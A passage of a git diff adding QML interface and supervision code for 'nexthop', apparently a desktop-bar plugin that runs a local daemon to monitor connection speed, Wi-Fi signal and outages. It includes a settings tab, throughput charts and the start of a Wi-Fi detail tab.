color: root.tone + font.family: Style.font.family + font.pixelSize: Style.fontPx(1.8) + font.weight: Font.Bold + } + + Rectangle { + width: parent.width + height: Math.max(2, Style.space(3)) + color: Qt.rgba(root.textColor.r, root.textColor.g, root.textColor.b, 0.12) + + Rectangle { + height: parent.height + width: parent.width * (root.value === null || root.value === undefined + ? 0 : Math.max(0, Math.min(1, root.value / 100))) + color: root.tone + Behavior on width { NumberAnimation { duration: 300; easing.type: Easing.OutCubic } } + } + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: root.note + color: root.dimColor + font.family: Style.font.family + font.pixelSize: Style.font.caption + elide: Text.ElideRight + } +} diff --git a/plugins/io.github.x3me.nexthop/Service.qml b/plugins/io.github.x3me.nexthop/Service.qml new file mode 100644 index 0000000..3d3690b --- /dev/null +++ b/plugins/io.github.x3me.nexthop/Service.qml @@ -0,0 +1,191 @@ +import QtQuick +import Quickshell.Io + +// Nexthop's headless half: keeps nexthopd running. +// +// The daemon is a separate process on purpose — history has to survive shell +// restarts (every theme change is one), and nothing that probes twice a +// second belongs inside the process that draws the desktop. This service +// spawns it at shell startup and respawns it with backoff if it dies. The +// daemon holds a flock, so if a systemd --user unit already runs one, the +// spawn here exits immediately and cleanly. +Item { + id: root + + readonly property string pluginDir: { + // A URL, not a path: percent-encoded, so decode before it is used as + // a filesystem path or a space in the way becomes %20 and cd fails. + var url = decodeURIComponent(Qt.resolvedUrl(".").toString()) + return url.replace(/^file:\/\//, "").replace(/\/$/, "") + } + + property int failures: 0 + + // ---- update handover ----------------------------------------------------- + // + // `omarchy plugin update` fast-forwards the checkout and the shell + // hot-reloads the QML, but a running daemon holds the flock and keeps + // executing the old code until something restarts it. So the daemon + // publishes its version in live.json, and this service compares it with + // the manifest on disk: mismatch means the code under our feet changed — + // retire the old daemon and let supervision (ours or systemd's) respawn + // it fresh. A daemon too old to publish a version is treated as stale, + // which is exactly right for the first update that ships this check. + property string manifestVersion: "" + property int lastRetiredPid: 0 + + // ---- liveness ------------------------------------------------------------ + // + // A daemon that hangs keeps its flock and leaves its last live.json in + // place, and until 0.2.24 nothing noticed: the stream emits only on + // change, the bar kept the last number, and this service only ever + // compared versions. The snapshot carries its own timestamp, so its age + // is knowable. Two stale readings 15 s apart before acting, because a + // suspend, a resume or a clock step produces one stale reading and the + // next tick clears it, while a hung daemon produces them forever. The + // action is the same identity-checked SIGTERM the version handover + // uses, once per pid: if the daemon does not exit on it, the bar's own + // stale marker keeps telling the truth and nothing loops. + property real lastLiveT: 0 + property int livePid: 0 + property int liveStart: 0 + property int staleStrikes: 0 + readonly property int staleAfterS: 30 + + Timer { + id: liveness + interval: 15000 + running: true + repeat: true + onTriggered: { + if (root.lastLiveT <= 0 || root.livePid <= 0) return + var age = Date.now() / 1000 - root.lastLiveT + if (age < root.staleAfterS) { + root.staleStrikes = 0 + return + } + root.staleStrikes += 1 + if (root.staleStrikes < 2) return + root.staleStrikes = 0 + root.retire(root.livePid, root.liveStart) + } + } + + // Neither the manifest nor live.json is opened from QML: `nexthop + // stream` reads both with a bounded, non-blocking, no-follow, + // regular-file-only read and emits them as lines. The version handover + // below acts on that data, so a tampered state file cannot stall or + // bloat the shell on its way to a SIGTERM decision. Two seconds is + // plenty — this only has to notice a fast-forwarded checkout. + Process { + id: versionStream + running: true + command: ["sh", "-c", + 'cd "$1" && exec python3 -m nexthopd.cli stream manifest live --interval 2', + "sh", root.pluginDir] + stdout: SplitParser { + splitMarker: "\n" + onRead: function (line) { root.applyStream(line) } + } + onExited: streamRestart.start() + } + + Timer { + id: streamRestart + interval: 2000 + onTriggered: versionStream.running = true + } + + function applyStream(line) { + if (!line || line.length > 262144) return + if (line.indexOf("manifest ") === 0) { + try { + root.manifestVersion = String(JSON.parse(line.slice(9)).version || "") + } catch (e) {} + } else if (line.indexOf("live ") === 0) { + root.checkDaemonVersion(line.slice(5)) + } + } + + function checkDaemonVersion(raw) { + var live + try { live = JSON.parse(raw) } catch (e) { return } + var pid = Math.floor(Number(live.pid)) + if (!isFinite(pid) || pid <= 0) return + var startTicks = Math.floor(Number(live.pid_start)) + if (!isFinite(startTicks) || startTicks <= 0) startTicks = 0 + // Every snapshot from a real daemon feeds the liveness watch above. + var t = Number(live.t) + if (isFinite(t) && t > 0) { + root.lastLiveT = t + root.livePid = pid + root.liveStart = startTicks + } + if (manifestVersion === "") return + var daemonVersion = String(live.daemon_version || "") + if (daemonVersion === manifestVersion) return + root.retire(pid, startTicks) + } + + function retire(pid, startTicks) { + // Retire each pid once — if the respawn comes back stale too, + // something else is wrong and looping SIGTERMs will not fix it. + if (pid === lastRetiredPid) return + lastRetiredPid = pid + // Authorizing the signal is `nexthop retire`'s job, not a shell + // one-liner's: it must belong to this user, its argv must be exactly a + // python interpreter running `-m nexthopd`, and its start time must + // match the one the daemon published — a recycled pid can share a + // number, never a start time. Doing it in Python makes those three + // checks testable, which the one-liner never was. + retireProc.command = ["sh", "-c", + 'cd "$1" && exec python3 -m nexthopd.cli retire --pid "$2" --start "$3"', + "sh", root.pluginDir, String(pid), String(startTicks)] + retireProc.running = true + respawnTimer.restart() + } + + Process { id: retireProc } + + // If the retired daemon was our child, onExited respawns it with backoff. + // If it belonged to a systemd unit or an earlier shell, nothing of ours + // exits — so also respawn on a timer; whoever loses the flock race exits + // cleanly, and either way exactly one fresh daemon survives. + Timer { + id: respawnTimer + interval: 2500 + repeat: false + onTriggered: daemon.running = true + } + + Process { + id: daemon + command: ["sh", "-c", 'cd "$1" && exec python3 -m nexthopd', + "sh", root.pluginDir] + running: true + + onExited: function(code, status) { + // Exit 3 is the daemon's "lock already held" code — another instance + // owns the measurement, so there is nothing to supervise. Every + // other exit gets a respawn with backoff: a SIGTERM'd daemon exits 0 + // and treating that as success once left the plugin unmonitored + // until the next shell restart. + if (code === 3) return + root.failures += 1 + restartTimer.interval = Math.min(60000, 2000 * Math.pow(2, root.failures - 1)) + restartTimer.restart() + } + } + + Timer { + id: restartTimer + repeat: false + onTriggered: daemon.running = true + } + + Component.onDestruction: { + // The shell is going down (restart, theme change). Leave a systemd-run + // daemon alone; only reap the one we spawned. + daemon.running = false + } +} diff --git a/plugins/io.github.x3me.nexthop/SettingsTab.qml b/plugins/io.github.x3me.nexthop/SettingsTab.qml new file mode 100644 index 0000000..772e467 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/SettingsTab.qml @@ -0,0 +1,188 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import qs.Commons +import qs.Ui + +// The four settings worth reaching without leaving the panel, and an honest +// pointer to the rest. +// +// Why this tab exists: Omarchy has no settings editor. Setup > Plugins +// enables, disables, adds, clones and removes — nothing anywhere edits a +// widget's own settings, and the shell keeps them inline on the bar entry in +// shell.json. So every option this plugin has was, until now, reachable only +// by hand-editing that file. Thirteen settings nobody can find is worse than +// four they can. +// +// Only booleans are here. An enum or a number needs a picker and a keyboard, +// and a half-built editor in a monitoring panel would be worse than sending +// someone to the file that already works. +Column { + id: tab + + required property var panel + + spacing: Style.space(12) + + // Writing goes through the host: the shell owns shell.json and rewrites the + // whole entry, so a setting is changed by handing back the entry with one + // field replaced. Absent that API — an older shell — the toggles stay + // visible but inert, and the note below says so rather than failing + // silently on a tap. + readonly property bool canWrite: !!(panel.bar && panel.bar.shell + && typeof panel.bar.shell.updateEntryInline === "function") + + function put(key, value) { + if (!canWrite) return + var id = "io.github.x3me.nexthop" + var s = panel.settings + // The shell REPLACES the entry with what it is handed, so writing from + // an absent settings object would hand back {id, key} and drop every + // other setting the user has. Better to do nothing than to do that. + if (!s || typeof s !== "object") return + var entry = { "id": id } + for (var k in s) if (k !== "id") entry[k] = s[k] + entry[key] = value + panel.bar.shell.updateEntryInline(id, entry) + } + + Text { + textFormat: Text.PlainText + text: "WHAT NEXTHOP MAY DO" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + // One row per toggle: name and one line of consequence on the left, the + // switch on the right. The consequence line is the point — a toggle whose + // effect you have to guess is not a setting, it is a dare. + component Row_: Item { + id: row + required property string label + required property string detail + required property bool value + required property string settingKey + + width: parent.width + height: Math.max(texts.implicitHeight, sw.implicitHeight) + + Column { + id: texts + width: parent.width - sw.width - Style.space(14) + spacing: Style.space(2) + anchors.verticalCenter: parent.verticalCenter + + Text { + textFormat: Text.PlainText + text: row.label + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + Text { + textFormat: Text.PlainText + width: parent.width + wrapMode: Text.WordWrap + text: row.detail + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + ToggleSwitch { + id: sw + anchors.right: parent.right + anchors.verticalCenter: parent.verticalCenter + checked: row.value + interactive: tab.canWrite + foreground: tab.panel.fg + onToggled: tab.put(row.settingKey, !row.value) + } + } + + Row_ { + label: "Go easy on phone hotspots" + detail: "When the connection comes from a phone, pause the hourly speed " + + "checks and ask twice before a full test. About 14 MB an hour of " + + "someone's data plan." + value: tab.panel.setting("meteredCare", true) + settingKey: "meteredCare" + } + + PanelSeparator { width: parent.width } + + Row_ { + label: "Measure speed automatically" + detail: "A small download every hour so the Speed score means something. " + + "Off, Speed goes blank rather than guessing." + value: tab.panel.setting("contentSpeed", true) + settingKey: "contentSpeed" + } + + PanelSeparator { width: parent.width } + + Row_ { + label: "Notify on outages" + detail: "A desktop notification when the connection drops and when it " + + "returns. Brief interruptions are logged either way and never " + + "notified." + value: tab.panel.setting("notifyOutage", true) + settingKey: "notifyOutage" + } + + PanelSeparator { width: parent.width } + + Row_ { + label: "Tell me about updates" + detail: "Once a day, asks the repository you installed from whether a " + + "newer version exists. Sends nothing about you, and installs nothing." + value: tab.panel.setting("updateCheck", true) + settingKey: "updateCheck" + } + + PanelSeparator { width: parent.width } + + Text { + textFormat: Text.PlainText + text: "EVERYTHING ELSE" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + // The honest part. Nine more settings exist and this panel is not the + // place to build a form for them, so say plainly where they live and what + // they are, rather than pretending these four are all there is. + Text { + textFormat: Text.PlainText + width: parent.width + wrapMode: Text.WordWrap + text: tab.canWrite + ? "Nine more settings live on this widget's entry in " + + "~/.config/omarchy/shell.json — what the bar shows, the internet " + + "anchor, probe interval, check frequency, speed-test engine, your " + + "plan speeds, throughput smoothing, and how long history is kept. " + + "Add them beside \"id\" and they apply without a restart." + : "This shell cannot write widget settings back, so the switches above " + + "are read-only. Edit this widget's entry in " + + "~/.config/omarchy/shell.json instead; changes apply without a " + + "restart." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + + Text { + textFormat: Text.PlainText + width: parent.width + wrapMode: Text.WordWrap + text: "Defaults are sensible and nothing here needs changing to use it." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } +} diff --git a/plugins/io.github.x3me.nexthop/SpeedTab.qml b/plugins/io.github.x3me.nexthop/SpeedTab.qml new file mode 100644 index 0000000..eb5e737 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/SpeedTab.qml @@ -0,0 +1,484 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import qs.Commons +import qs.Ui +import "readout.js" as Readout +import "format.js" as Fmt + +// Speed: live throughput, content-check history as paired bars, and the +// last peak result in full. +Column { + id: tab + + required property var panel + + spacing: Style.space(12) + + Component.onCompleted: panel.requestTests() + + readonly property var tests: panel.testsData && panel.testsData.tests + ? panel.testsData.tests : [] + readonly property var contentTests: { + var out = tests.filter(function(t) { return t.kind === "content" && t.ok }) + out.reverse() // oldest first for the bars + return out.slice(-12) + } + readonly property var lastPeak: { + for (var i = 0; i < tests.length; i++) + if (tests[i].kind === "peak" && tests[i].ok) return tests[i] + return null + } + readonly property real bestRate: { + var best = 0 + for (var i = 0; i < contentTests.length; i++) { + best = Math.max(best, contentTests[i].down_mbps || 0) + best = Math.max(best, contentTests[i].up_mbps || 0) + } + return Math.max(1, best) + } + + + // ---- live throughput ---------------------------------------------------- + Text { + textFormat: Text.PlainText + text: "LIVE THROUGHPUT · LAST 3 MIN" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + // Download above the axis, upload mirrored below — the mockup's cluster + // shape. Both directions share one scale so the asymmetry is honest. + Canvas { + id: flowChart + width: parent.width + height: Style.space(84) + + property real hoverX: -1 + onHoverXChanged: requestPaint() + + HoverHandler { + onPointChanged: flowChart.hoverX = hovered ? point.position.x : -1 + onHoveredChanged: if (!hovered) flowChart.hoverX = -1 + } + + readonly property var pts: { + var cut = Date.now() / 1000 - 180 + return tab.panel.recentPoints.filter(function(p) { return p.t >= cut }) + } + onPtsChanged: requestPaint() + onWidthChanged: requestPaint() + + onPaint: { + var ctx = getContext("2d") + ctx.reset() + ctx.clearRect(0, 0, width, height) + var mid = Math.round(height / 2) + ctx.strokeStyle = Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, + tab.panel.fg.b, 0.22) + ctx.lineWidth = 1 + ctx.beginPath() + ctx.moveTo(0, mid + 0.5) + ctx.lineTo(width, mid + 0.5) + ctx.stroke() + + var p = pts + if (!p || p.length < 2) return + var peak = 10 * 1024 + for (var i = 0; i < p.length; i++) { + if (p[i].rx !== null) peak = Math.max(peak, p[i].rx) + if (p[i].tx !== null) peak = Math.max(peak, p[i].tx) + } + peak *= 1.1 + var t0 = p[0].t, span = Math.max(1, p[p.length - 1].t - t0) + var half = mid - 2 + + function draw(key, up, tint) { + var runs = [], cur = [] + for (var i = 0; i < p.length; i++) { + var v = p[i][key] + if (v === null || v === undefined) { + if (cur.length > 1) runs.push(cur) + cur = [] + } else { + cur.push([(p[i].t - t0) * (width - 1) / span, + mid + (up ? -1 : 1) * half * Math.min(1, v / peak)]) + } + } + if (cur.length > 1) runs.push(cur) + for (var r = 0; r < runs.length; r++) { + var run = runs[r] + ctx.beginPath() + ctx.moveTo(run[0][0], mid) + for (var j = 0; j < run.length; j++) ctx.lineTo(run[j][0], run[j][1]) + ctx.lineTo(run[run.length - 1][0], mid) + ctx.closePath() + ctx.fillStyle = Qt.rgba(tint.r, tint.g, tint.b, 0.2) + ctx.fill() + ctx.beginPath() + for (j = 0; j < run.length; j++) { + if (j === 0) ctx.moveTo(run[j][0], run[j][1]) + else ctx.lineTo(run[j][0], run[j][1]) + } + ctx.strokeStyle = tint + ctx.lineWidth = 1.4 + ctx.stroke() + } + } + draw("rx", true, Color.accent) + draw("tx", false, tab.panel.warnTone) + + // Top-of-scale label so the silhouette has magnitude. + ctx.font = "10px " + tab.panel.fontFamily + ctx.textBaseline = "top" + ctx.fillStyle = tab.panel.dim + ctx.fillText("\u2264 " + Fmt.rate(peak), 4, 3) + + if (hoverX >= 0) { + var tAt = t0 + hoverX * span / (width - 1) + var best = null, bestD = Infinity + for (var h = 0; h < p.length; h++) { + var d = Math.abs(p[h].t - tAt) + if (d < bestD) { bestD = d; best = p[h] } + } + if (best) { + var cx = (best.t - t0) * (width - 1) / span + ctx.strokeStyle = Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, + tab.panel.fg.b, 0.4) + ctx.lineWidth = 1 + ctx.beginPath() + ctx.moveTo(cx + 0.5, 0) + ctx.lineTo(cx + 0.5, height) + ctx.stroke() + var label = Qt.formatTime(new Date(best.t * 1000), "HH:mm:ss") + + " · \u2193 " + Fmt.rate(best.rx) + " · \u2191 " + Fmt.rate(best.tx) + Readout.draw(ctx, tab.panel.fontFamily, label, cx, width, + tab.panel.fg, Color.popups.background) + } + } + } + } + + Row { + width: parent.width + spacing: Style.space(14) + readonly property real cell: (width - Style.space(14) * 3) / 4 + + component BigStat: Column { + property string label: "" + property string value: "" + property color tint: tab.panel.fg + spacing: Style.space(3) + Text { + textFormat: Text.PlainText + text: parent.label + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + text: parent.value + color: parent.tint + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.title + font.weight: Font.Medium + } + } + + BigStat { + width: parent.cell + label: "RECEIVING" + tint: Color.accent + value: Fmt.rate(tab.panel.live && tab.panel.live.rates + ? tab.panel.live.rates.rx_bps : null) + } + BigStat { + width: parent.cell + label: "SENDING" + tint: tab.panel.warnTone + value: Fmt.rate(tab.panel.live && tab.panel.live.rates + ? tab.panel.live.rates.tx_bps : null) + } + BigStat { + width: parent.cell + label: "DOWNLOADED" + value: Fmt.bytes(tab.panel.live && tab.panel.live.rates + ? tab.panel.live.rates.rx_total : null) + } + BigStat { + width: parent.cell + label: "UPLOADED" + value: Fmt.bytes(tab.panel.live && tab.panel.live.rates + ? tab.panel.live.rates.tx_total : null) + } + } + + PanelSeparator { width: parent.width } + + // ---- content-check history --------------------------------------------- + Item { + width: parent.width + height: historyLabel.implicitHeight + + Text { + id: historyLabel + textFormat: Text.PlainText + text: "CONTENT SPEED · FEEDS YOUR SCORE" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: tab.contentTests.length + " checks kept" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + Item { + width: parent.width + height: Style.space(80) + visible: tab.contentTests.length > 0 + + Rectangle { + anchors.bottom: parent.bottom + width: parent.width + height: 1 + color: Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, tab.panel.fg.b, 0.15) + } + + Row { + anchors.fill: parent + + readonly property real slot: width / Math.max(1, tab.contentTests.length) + + Repeater { + model: tab.contentTests + + Item { + id: barSlot + required property var modelData + width: parent.slot + height: parent.height + + // The pair sits centered in its slot with capped widths, so a + // panel with two checks still reads as two paired results, not + // four unrelated bars. + Row { + anchors.bottom: parent.bottom + anchors.horizontalCenter: parent.horizontalCenter + spacing: Style.space(3) + + Rectangle { + anchors.bottom: parent.bottom + width: Math.min(Style.space(22), barSlot.width * 0.4) + height: Math.max(2, barSlot.height * + (barSlot.modelData.down_mbps || 0) / tab.bestRate) + color: Color.accent + } + Rectangle { + anchors.bottom: parent.bottom + width: Math.min(Style.space(12), barSlot.width * 0.25) + height: Math.max(2, barSlot.height * + (barSlot.modelData.up_mbps || 0) / tab.bestRate) + color: tab.panel.warnTone + } + } + } + } + } + } + + Text { + textFormat: Text.PlainText + visible: tab.contentTests.length === 0 + text: "No content checks yet — the first runs shortly after the daemon starts." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + + PanelSeparator { width: parent.width } + + // ---- last peak ---------------------------------------------------------- + Item { + width: parent.width + height: peakLabel.implicitHeight + + Text { + id: peakLabel + textFormat: Text.PlainText + text: tab.lastPeak + ? "PEAK · " + new Date(tab.lastPeak.ts * 1000).toLocaleString(Qt.locale(), "d MMM HH:mm").toUpperCase() + : "PEAK SPEED" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: "informational, not scored" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + Grid { + width: parent.width + columns: 2 + columnSpacing: Style.space(24) + rowSpacing: Style.space(6) + visible: tab.lastPeak !== null + + readonly property real cell: (width - Style.space(24)) / 2 + readonly property var p: tab.lastPeak + + component KvRow: Item { + property string k: "" + property string v: "" + property color vColor: tab.panel.fg + height: kText.implicitHeight + Text { + id: kText + textFormat: Text.PlainText + text: parent.k + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + width: parent.width - kText.implicitWidth - Style.space(10) + horizontalAlignment: Text.AlignRight + elide: Text.ElideLeft + text: parent.v + color: parent.vColor + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + } + + KvRow { width: parent.cell; k: "Download" + v: parent.p ? (parent.p.down_mbps || 0).toFixed(1) + " Mbps" : "" } + KvRow { width: parent.cell; k: "Upload" + v: parent.p && parent.p.up_mbps ? parent.p.up_mbps.toFixed(1) + " Mbps" : "--" } + KvRow { width: parent.cell; k: "Idle ping" + v: parent.p && parent.p.ping_idle ? Math.round(parent.p.ping_idle) + " ms" : "--" } + KvRow { + width: parent.cell; k: "Loaded ping" + v: parent.p && parent.p.ping_loaded ? Math.round(parent.p.ping_loaded) + " ms" : "--" + vColor: parent.p && parent.p.ping_loaded && parent.p.ping_idle + && parent.p.ping_loaded > parent.p.ping_idle * 3 + ? tab.panel.warnTone : tab.panel.fg + } + KvRow { width: parent.cell; k: "Data used" + v: parent.p && parent.p.bytes ? (parent.p.bytes / 1e6).toFixed(0) + " MB" : "--" } + KvRow { width: parent.cell; k: "Engine" + v: parent.p ? parent.p.engine : "" } + } + + Item { + width: parent.width + height: serverKey.implicitHeight + visible: tab.lastPeak !== null && !!tab.lastPeak.server + + Text { + id: serverKey + textFormat: Text.PlainText + text: "Server" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + width: parent.width - serverKey.implicitWidth - Style.space(10) + horizontalAlignment: Text.AlignRight + elide: Text.ElideLeft + text: tab.lastPeak && tab.lastPeak.server ? tab.lastPeak.server : "" + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + } + + Text { + textFormat: Text.PlainText + visible: tab.lastPeak === null + text: "No peak test yet." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + + PanelSeparator { width: parent.width } + + Item { + width: parent.width + height: Style.space(28) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - runButton.width - Style.space(12) + text: "A peak test saturates the line for ~10 s each way — up to ~600 MB on a fast line. It only runs when you ask." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + Rectangle { + id: runButton + anchors.right: parent.right + anchors.verticalCenter: parent.verticalCenter + width: runText.implicitWidth + Style.space(24) + height: Style.space(28) + color: runHover.hovered + ? Style.hoverFillFor(tab.panel.fg, Color.accent) + : Style.normalFillFor(tab.panel.fg, Color.accent) + border.width: Style.normalBorderWidth + border.color: Style.normalBorderFor(tab.panel.fg, Color.accent) + + Text { + id: runText + textFormat: Text.PlainText + anchors.centerIn: parent + text: tab.panel.live && tab.panel.live.peak_running ? "󰓅 Testing…" + : tab.panel.peakArmed ? "󰓅 Uses data · press again" + : "󰓅 Run test" + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + HoverHandler { id: runHover } + TapHandler { + enabled: !(tab.panel.live && tab.panel.live.peak_running) + onTapped: { tab.panel.runPeakTest(); refreshTimer.start() } + } + } + } + + // While a peak test runs, poll the tests list so the result appears. + Timer { + id: refreshTimer + interval: 3000 + repeat: true + running: tab.panel.live && tab.panel.live.peak_running === true + onTriggered: tab.panel.requestTests() + onRunningChanged: if (!running) tab.panel.requestTests() + } +} diff --git a/plugins/io.github.x3me.nexthop/WifiTab.qml b/plugins/io.github.x3me.nexthop/WifiTab.qml new file mode 100644 index 0000000..2e28875 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/WifiTab.qml @@ -0,0 +1,620 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import qs.Commons +import qs.Ui +import "readout.js" as Readout + +// The local leg in detail: signal on a labelled scale, link facts, and the +// airtime counters that explain "signal looks fine but Wi-Fi feels slow". +Column { + id: tab + + required property var panel + + Component.onCompleted: panel.requestEvents("7d") + + readonly property var linkEvents: { + var all = panel.eventsData && panel.eventsData.events + ? panel.eventsData.events : [] + var kinds = {"roam": 1, "kick": 1, "drop": 1, "associate": 1, + "rate-drop": 1, "channel-change": 1} + var cut = Date.now() / 1000 - 86400 + var out = [] + for (var i = 0; i < all.length && out.length < 6; i++) + if (kinds[all[i].kind] && all[i].ts >= cut) out.push(all[i]) + return out + } + + // Every change of access point inside the chart window, with who ended + // the previous association: a roam was this machine's choice, a kick the + // access point's, a drop a link that fell over. + readonly property var roamMarks: { + var all = panel.eventsData && panel.eventsData.events + ? panel.eventsData.events : [] + var kinds = {"roam": 1, "kick": 1, "drop": 1} + var cut = Date.now() / 1000 - 1800 + var out = [] + for (var i = 0; i < all.length; i++) + if (kinds[all[i].kind] && all[i].ts >= cut) + out.push({ts: all[i].ts, kind: all[i].kind}) + return out + } + + readonly property var link: panel.live ? panel.live.link : null + readonly property var station: link ? link.station : null + readonly property bool isWifi: link && link.kind === "wifi" + + spacing: Style.space(12) + + Text { + textFormat: Text.PlainText + visible: !tab.isWifi + text: tab.link && tab.link.kind === "ethernet" + ? "Wired connection — no radio to report on. The local leg lives on the Latency tab." + : "Not connected." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + width: parent.width + } + + // ---- signal ------------------------------------------------------------- + Column { + width: parent.width + visible: tab.isWifi + spacing: Style.space(12) + + Text { + textFormat: Text.PlainText + text: "THE LOCAL LEG · THIS MACHINE TO THE ROUTER" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + Row { + width: parent.width + spacing: Style.space(20) + + readonly property var dbm: tab.link ? tab.link.signal_dbm : null + readonly property color tone: { + if (dbm === null || dbm === undefined) return tab.panel.dim + if (dbm >= -60) return tab.panel.okTone + if (dbm >= -70) return tab.panel.warnTone + return Color.urgent + } + + Column { + spacing: Style.space(2) + anchors.bottom: parent.bottom + + Text { + textFormat: Text.PlainText + text: parent.parent.dbm !== null && parent.parent.dbm !== undefined + ? parent.parent.dbm + " dBm" : "--" + color: parent.parent.tone + font.family: tab.panel.fontFamily + font.pixelSize: Style.fontPx(2.0) + font.weight: Font.Bold + } + Text { + textFormat: Text.PlainText + text: "SIGNAL" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + } + + Column { + width: parent.width - Style.space(130) + anchors.bottom: parent.bottom + anchors.bottomMargin: Style.space(4) + spacing: Style.space(5) + + Rectangle { + width: parent.width + height: Style.space(8) + color: Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, tab.panel.fg.b, 0.10) + + Rectangle { + readonly property var dbm: tab.link ? tab.link.signal_dbm : null + height: parent.height + // -90 dBm is unusable, -30 is rail: map onto 0..1. + width: parent.width * (dbm === null || dbm === undefined + ? 0 : Math.max(0, Math.min(1, (dbm + 90) / 60))) + color: parent.parent.parent.tone + Behavior on width { NumberAnimation { duration: 300 } } + } + // The marginal mark at -67 dBm, where video calls start to suffer. + Rectangle { + x: parent.width * ((-67 + 90) / 60) + y: -Style.space(3) + width: 1 + height: parent.height + Style.space(6) + color: Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, tab.panel.fg.b, 0.35) + } + } + + Item { + width: parent.width + height: scaleLeft.implicitHeight + + Text { + id: scaleLeft + textFormat: Text.PlainText + text: "−90 unusable" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + Text { + textFormat: Text.PlainText + x: parent.width * ((-67 + 90) / 60) - implicitWidth / 2 + text: "−67 marginal" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: "−30 max" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + } + } + + // ---- signal & local lag history --------------------------------------- + Item { + width: parent.width + height: sigLabel.implicitHeight + + Text { + id: sigLabel + textFormat: Text.PlainText + text: "SIGNAL & LOCAL LAG · LAST 30 MIN" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: { + var marks = tab.roamMarks, n = {roam: 0, kick: 0, drop: 0} + for (var i = 0; i < marks.length; i++) n[marks[i].kind] += 1 + var parts = [] + if (n.roam) parts.push(n.roam === 1 ? "one roam" : n.roam + " roams") + if (n.kick) parts.push(n.kick === 1 ? "kicked once" : "kicked " + n.kick + "\u00d7") + if (n.drop) parts.push(n.drop === 1 ? "one drop" : n.drop + " drops") + return parts.join(" \u00b7 ") + } + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + Canvas { + id: sigChart + width: parent.width + height: Style.space(78) + + property real hoverX: -1 + onHoverXChanged: requestPaint() + + HoverHandler { + onPointChanged: sigChart.hoverX = hovered ? point.position.x : -1 + onHoveredChanged: if (!hovered) sigChart.hoverX = -1 + } + + readonly property var pts: tab.panel.recentPoints + readonly property var roams: tab.roamMarks + onPtsChanged: requestPaint() + onRoamsChanged: requestPaint() + onWidthChanged: requestPaint() + + onPaint: { + var ctx = getContext("2d") + ctx.reset() + ctx.clearRect(0, 0, width, height) + var bottom = height - 1 + ctx.strokeStyle = Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, + tab.panel.fg.b, 0.16) + ctx.lineWidth = 1 + ctx.beginPath() + ctx.moveTo(0, bottom + 0.5) + ctx.lineTo(width, bottom + 0.5) + ctx.stroke() + + var p = pts + if (!p || p.length < 2) return + var t0 = p[0].t, span = Math.max(1, p[p.length - 1].t - t0) + function xAt(t) { return (t - t0) * (width - 1) / span } + + // Access-point changes first, dashed, under the series: purple + // when this machine chose to move, amber when it was kicked 